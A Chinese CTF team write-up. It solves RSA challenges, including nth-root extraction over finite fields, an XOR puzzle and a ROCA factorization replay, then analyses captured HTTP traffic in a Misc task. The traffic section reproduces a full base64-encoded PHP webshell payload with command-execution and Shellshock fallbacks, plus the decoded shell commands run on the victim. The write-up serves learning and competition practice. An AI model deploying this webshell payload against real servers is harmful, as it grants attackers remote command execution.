队伍信息
名称:村通网队
成员:4人
排名:30
解题情况
2道Crypto,总3道
2道Misc, 总5道
其中Crypto方向第8名
Crypto
special_rsa
题目
1 | from Crypto.Util.number import * |
1 | # output.txt |
可知
flag被rsa加密后产生的密文C 就是 下次一次加密的明文,即:循环加密密文
附件给出了e、所有的n 、最后的C
根据n,利用分解网站依次写出对应p、q
由p、q生成过程发现,e|(q-1) 且 e|(p-1)
简单的e,phi不互素不能处理gcd(e, phi) = e的情况
参考以下原理
e 和 p−1 (或 q−1)的最大公约数就是 e 本身,也就是说 e∣(p−1),只有对 c 开 e 次方根才行。
可以将同余方程 m^e ≡ c (modn) 化成
m^e ≡ c (modp)
m^e ≡ c (modq)
然后分别在 GF(p) 和 GF(q) 上对 c 开 e 次方根,再用CRT组合一下即可得到在 modn 下的解。
问题是,如何在有限域内开根?
这里 e 与 p−1 和 q−1 都不互素,不能简单地求个逆元就完事。
这种情况下,开平方根可以用
Tonelli–Shanks algorithm
,Wiki说这个算法可以扩展到开n次方根。在这篇paper里给出了具体的算法:
Adleman-Manders-Miller rth Root Extraction Method
。这个算法只能开出一个根,实际上开 e 次方,最多会有 e 个根(这题的情况下有0x1337个根)。
如何找到其他根?
StackOverflow – Cube root modulo P 给出了方法。
如何找到所有的
primitive 0x1337th root of 1
?StackExchange – Finding the n-th root of unity in a finite field 给出了方法。
Exploit(以
e=0x1337
为例)- 先用
Adleman-Manders-Miller rth Root Extraction Method
在 GF(p) 和 GF(q) 上对 c 开 e 次方根,分别得到一个解。大概不到10秒。 - 然后去找到所有的
0x1336
个primitive nth root of 1
,乘以上面那个解,得到所有的0x1337
个解。大概1分钟。 - 再用CRT对 GF(p) 和 GF(q) 上的两组
0x1337
个解组合成 modn 下的解,可以得到0x1337**2=24196561
个 modn 的解。最后能通过check()
的即为flag。大概十几分钟。
解出后,发现不止一个解,需要初步筛选
由c = m^e mod n 原理 以及 循环加密的逻辑,不难发现解出来的 m 得小于 上一个n
即使加上以上限定条件,仍有些m解出来不只1个
所以,当解到一组无解时,需要更换 无解这组之前的m(下面会用 列表表示 每次解得的 所有符合条件的m
直到打印出预期的c0 (flag加密得来)
- 先用
1 | #脚本2 |
1 | # 输出数据 |
报错是在预期内的。
因为对于flag这一组的加密而言,没有n_(再上一组的n)了
此时,单独拿出c、p、q, 解出的m转byte
1 | #脚本2 |
得到多组乱码
根据题目中flag格式flag=b'DASCTF{????????????????????}'
,搜索DASCTF,得解。
1 | b"s*\xfc\xec\xa2\xf4\xcec\xcf'\r(a\x02\x86\xde\xed\xbc\x9dwO\x0f\xd1Va,\xe1\xeeP\x18" |
DASCTF{s4g3m4th_i5_co0l!}
总代码
1 | #脚本2 |
easy_real
题目
1 | import random |
简单的签到题
去cmd5上查
37693cfc748049e45d87b8c7d8b9aacd
得到e=23
知道p、n,
q = n// p
;phi可求基础rsa,解出m
转换得到
'ndios_;9kgE;WK8e;W?gWn<\;k|nu'
由题意,爆破key
按照常规格式,flag最后一位应该是
}
由此得到,key=8
异或得flag
1 | import gmpy2, libnum |
异或
1 | m = 'ndios_;9kgE;WK8e;W?gWn<\;k|nu' |
CVE OF RSA | 赛后复现
此题是赛后看了4xwi11师傅的思路后,尝试独立复现的
回顾当时的情形,比赛时间为10: 00 - 18:00
十二点到下午一点之间就已经完成了2/3的密码题了
于是充满干劲地去试此题(AK是梦想哈哈🤤
列出几点不足
知识面窄,不晓得此漏洞
反应慢半拍,以为要嗯研究数学逻辑,然后独立写脚本
就这样想了两三个小时,期间疯狂搜索,也没思路
思维僵硬,终于找到CVE对应的paper后,没有想到可以去找已有的、现成的代码
(其实时间也不够了,五点四十几,看到论文就瞑目了,时间太紧没有干劲啃论文了
好,让我们回到五点四十。
搜到了如下关键词
此时,不该去望“文”兴叹,去github搜索看看吧!
直接搜索关键词,没有高质量的代码
参考4xwi11师傅推荐的仓库
17年的ROCA(Return of Coppersmith’s attack)漏洞。简单转述一下就是,一些硬件采用以上方法快速产生RSA的私钥,这样产生的公钥n会带有一个指纹,但由于M是光滑数,这个指纹可以很快被攻击者确定,从而分解n
有个仓库总结了很多密码的攻击,其中就有ROCA,Fr.https://github.com/jvdsn/crypto-attacks.git
利用其中函数,在roca.py下添加(N从靶机中得来)
1
2
3
4
5
6
7logging.basicConfig(level=logging.DEBUG)
M = 962947420735983927056946215901134429196419130606213075415963491270
N = 14481363580917358871472996410471767154481047067466167591298208947805462002275531552979475988627964256677709787930755013972295770123571982960720640872341517
p_, q_ = factorize(N, M, 5, 6)
print(f"Found p = {p_} and q = {q_}")其中m = 5, t= 6来源如下:
1
2
3
4
5
6
7
8
9
10
11
12
13# roca.py
def factorize(N, M, m, t, g=65537):
"""
Recovers the prime factors from a modulus using the ROCA method.
More information: Nemec M. et al., "The Return of Coppersmith’s Attack: Practical Factorization of Widely Used RSA Moduli"
:param N: the modulus
:param M: the primorial used to generate the primes
:param m: the m parameter for Coppersmith's method
:param t: the t parameter for Coppersmith's method
:param g: the generator value (default: 65537)
:return: a tuple containing the prime factors
"""
···参数根据论文The Return of Coppersmith’s Attack: Practical Factorization of Widely Used RSA Moduli(https://acmccs.github.io/papers/p1631-nemecA.pdf),n是512位的,则m和t分别取5和6
利用sage解题「 Linux or (类)Unix 终端 」
激活sage
conda activate sage
执行roca解题脚本
sage -python roca.py的绝对路径
等待⌛️ 五分钟左右,分解成功
正常RSA求解m
1
2
3
4
5
6
7
8
9
10
11
12
13from Crypto.Util.number import *
from gmpy2 import invert
n = 14481363580917358871472996410471767154481047067466167591298208947805462002275531552979475988627964256677709787930755013972295770123571982960720640872341517
c = 3679892564888936950542940140902963743841717939818025696558626052971555790204073416047068709668040686939721666022034628127241497612925260505783618939964139
p = 111425929610175462966231922510304239063491575573222700849341403103622849511679
q = 129964036482177256444505240482938730532498372430648951070700710194345995195123
phi = (p-1) * (q-1)
d = invert(0x10001, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
# flag{e28e6991-080d-4587-900d-db3c47139453}
收获
- 找到了厉害师傅的博客🤔
- 第一次体验了CVE复现
- 近一步了解密码解题的思维
- 发现了一个极好的Crypto-attack仓库
Misc
问卷调查
略
easyflow
先用wireshark把所有HTTP流量都导出
大致分析了一下
在第11个包开始发现异常
1 | 93748ef4./ 2022-04-05 20:30:07 128 0700 |
第13个包发现了flag.txt
1 | 4304dd6cf6d./ 2022-04-05 20:30:05 384 0700 |
然后在第17个包和第19个包发现了关于flag的线索
17
1 | f9aa250head: illegal line count -- ../flag.txt |
19
1 | 625fe869b49eYes,this is the flag file. |
于是开始分析第16个包的内容
1 | a=%40eval(%40base64_decode(%24_POST%5B'kc1b01ee4a605'%5D))%3B&e57fb9c067c677=E8&g479cf6f058cf8=hnY2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0IjtoZWFkIC1uIC4uL2ZsYWcudHh0O2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ%3D%3D&kc1b01ee4a605=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiZjlhIi4iYTI1MCI7ZWNobyBAYXNlbmMoJG91dHB1dCk7ZWNobyAiMTNlIi4iM2I5Ijt9b2Jfc3RhcnQoKTt0cnl7JHA9YmFzZTY0X2RlY29kZShzdWJzdHIoJF9QT1NUWyJvMWZhZWJkNGVjM2Q5NyJdLDIpKTskcz1iYXNlNjRfZGVjb2RlKHN1YnN0cigkX1BPU1RbImc0NzljZjZmMDU4Y2Y4Il0sMikpOyRlbnZzdHI9QGJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfUE9TVFsiZTU3ZmI5YzA2N2M2NzciXSwyKSk7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiO2lmKHN1YnN0cigkZCwwLDEpPT0iLyIpe0BwdXRlbnYoIlBBVEg9Ii5nZXRlbnYoIlBBVEgiKS4iOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2JpbiIpO31lbHNle0BwdXRlbnYoIlBBVEg9Ii5nZXRlbnYoIlBBVEgiKS4iO0M6L1dpbmRvd3Mvc3lzdGVtMzI7QzovV2luZG93cy9TeXNXT1c2NDtDOi9XaW5kb3dzO0M6L1dpbmRvd3MvU3lzdGVtMzIvV2luZG93c1Bvd2VyU2hlbGwvdjEuMC87Iik7fWlmKCFlbXB0eSgkZW52c3RyKSl7JGVudmFycj1leHBsb2RlKCJ8fHxhc2xpbmV8fHwiLCAkZW52c3RyKTtmb3JlYWNoKCRlbnZhcnIgYXMgJHYpIHtpZiAoIWVtcHR5KCR2KSkge0BwdXRlbnYoc3RyX3JlcGxhY2UoInx8fGFza2V5fHx8IiwgIj0iLCAkdikpO319fSRyPSJ7JHB9IHskY30iO2Z1bmN0aW9uIGZlKCRmKXskZD1leHBsb2RlKCIsIixAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSk7aWYoZW1wdHkoJGQpKXskZD1hcnJheSgpO31lbHNleyRkPWFycmF5X21hcCgndHJpbScsYXJyYXlfbWFwKCdzdHJ0b2xvd2VyJywkZCkpO31yZXR1cm4oZnVuY3Rpb25fZXhpc3RzKCRmKSYmaXNfY2FsbGFibGUoJGYpJiYhaW5fYXJyYXkoJGYsJGQpKTt9O2Z1bmN0aW9uIHJ1bnNoZWxsc2hvY2soJGQsICRjKSB7aWYgKHN1YnN0cigkZCwgMCwgMSkgPT0gIi8iICYmIGZlKCdwdXRlbnYnKSAmJiAoZmUoJ2Vycm9yX2xvZycpIHx8IGZlKCdtYWlsJykpKSB7aWYgKHN0cnN0cihyZWFkbGluaygiL2Jpbi9zaCIpLCAiYmFzaCIpICE9IEZBTFNFKSB7JHRtcCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnYXMnKTtwdXRlbnYoIlBIUF9MT0w9KCkgeyB4OyB9OyAkYyA%2BJHRtcCAyPiYxIik7aWYgKGZlKCdlcnJvcl9sb2cnKSkge2Vycm9yX2xvZygiYSIsIDEpO30gZWxzZSB7bWFpbCgiYUAxMjcuMC4wLjEiLCAiIiwgIiIsICItYnYiKTt9fSBlbHNlIHtyZXR1cm4gRmFsc2U7fSRvdXRwdXQgPSBAZmlsZV9nZXRfY29udGVudHMoJHRtcCk7QHVubGluaygkdG1wKTtpZiAoJG91dHB1dCAhPSAiIikge3ByaW50KCRvdXRwdXQpO3JldHVybiBUcnVlO319cmV0dXJuIEZhbHNlO307ZnVuY3Rpb24gcnVuY21kKCRjKXskcmV0PTA7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKGZlKCdzeXN0ZW0nKSl7QHN5c3RlbSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdwYXNzdGhydScpKXtAcGFzc3RocnUoJGMsJHJldCk7fWVsc2VpZihmZSgnc2hlbGxfZXhlYycpKXtwcmludChAc2hlbGxfZXhlYygkYykpO31lbHNlaWYoZmUoJ2V4ZWMnKSl7QGV4ZWMoJGMsJG8sJHJldCk7cHJpbnQoam9pbigiCiIsJG8pKTt9ZWxzZWlmKGZlKCdwb3BlbicpKXskZnA9QHBvcGVuKCRjLCdyJyk7d2hpbGUoIUBmZW9mKCRmcCkpe3ByaW50KEBmZ2V0cygkZnAsMjA0OCkpO31AcGNsb3NlKCRmcCk7fWVsc2VpZihmZSgncHJvY19vcGVuJykpeyRwID0gQHByb2Nfb3BlbigkYywgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKSwgJGlvKTt3aGlsZSghQGZlb2YoJGlvWzFdKSl7cHJpbnQoQGZnZXRzKCRpb1sxXSwyMDQ4KSk7fXdoaWxlKCFAZmVvZigkaW9bMl0pKXtwcmludChAZmdldHMoJGlvWzJdLDIwNDgpKTt9QGZjbG9zZSgkaW9bMV0pO0BmY2xvc2UoJGlvWzJdKTtAcHJvY19jbG9zZSgkcCk7fWVsc2VpZihmZSgnYW50c3lzdGVtJykpe0BhbnRzeXN0ZW0oJGMpO31lbHNlaWYocnVuc2hlbGxzaG9jaygkZCwgJGMpKSB7cmV0dXJuICRyZXQ7fWVsc2VpZihzdWJzdHIoJGQsMCwxKSE9Ii8iICYmIEBjbGFzc19leGlzdHMoIkNPTSIpKXskdz1uZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7JGU9JHctPmV4ZWMoJGMpOyRzbz0kZS0%2BU3RkT3V0KCk7JHJldC49JHNvLT5SZWFkQWxsKCk7JHNlPSRlLT5TdGRFcnIoKTskcmV0Lj0kc2UtPlJlYWRBbGwoKTtwcmludCgkcmV0KTt9ZWxzZXskcmV0ID0gMTI3O31yZXR1cm4gJHJldDt9OyRyZXQ9QHJ1bmNtZCgkci4iIDI%2BJjEiKTtwcmludCAoJHJldCE9MCk%2FInJldD17JHJldH0iOiIiOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7&o1faebd4ec3d97=jmL2Jpbi9zaA%3D%3D |
一眼丁真,直接上php,快速处理一下
1 | array(4) { |
首先处理一下最长的kc1b01ee4a605
1 |
|
这两个函数十分关键
1 | $p = base64_decode(substr($_POST["o1faebd4ec3d97"], 2)); |
因为$_POST["o1faebd4ec3d97"]
有亿点短,
直接先看看$s是个嘛玩意
1 | cd "/Users/chang/Sites/test";head -n ../flag.txt;echo [S];pwd;echo [E] |
嗯哼
直接看第18个包,继续古法炮制
1 | array(4) { |
看到这熟悉格式,直接把g479cf6f058cf8
的前两个删去然后base64
1 | cd "/Users/chang/Sites/test";head -n 2 ../flag.txt;echo [S];pwd;echo [E] |
就这么试,然后在第20个包里找到了
1 | cd "/Users/chang/Sites/test";zip -P PaSsZiPWorD flag.zip ../flag.txt;echo [S];pwd;echo [E] |
flag被压缩了QWQ,还是有密码的
继续分析后面的流量,在最后一个包里看到了一个压缩包文件
1 | eb327956PK 稀匱 3讄X T |
掐头去尾,扔到winhex里面,然后用密码PaSsZiPWorD
解压
1 | Yes,this is the flag file. |
其他题解
师傅们太厉害了 Orz
(完)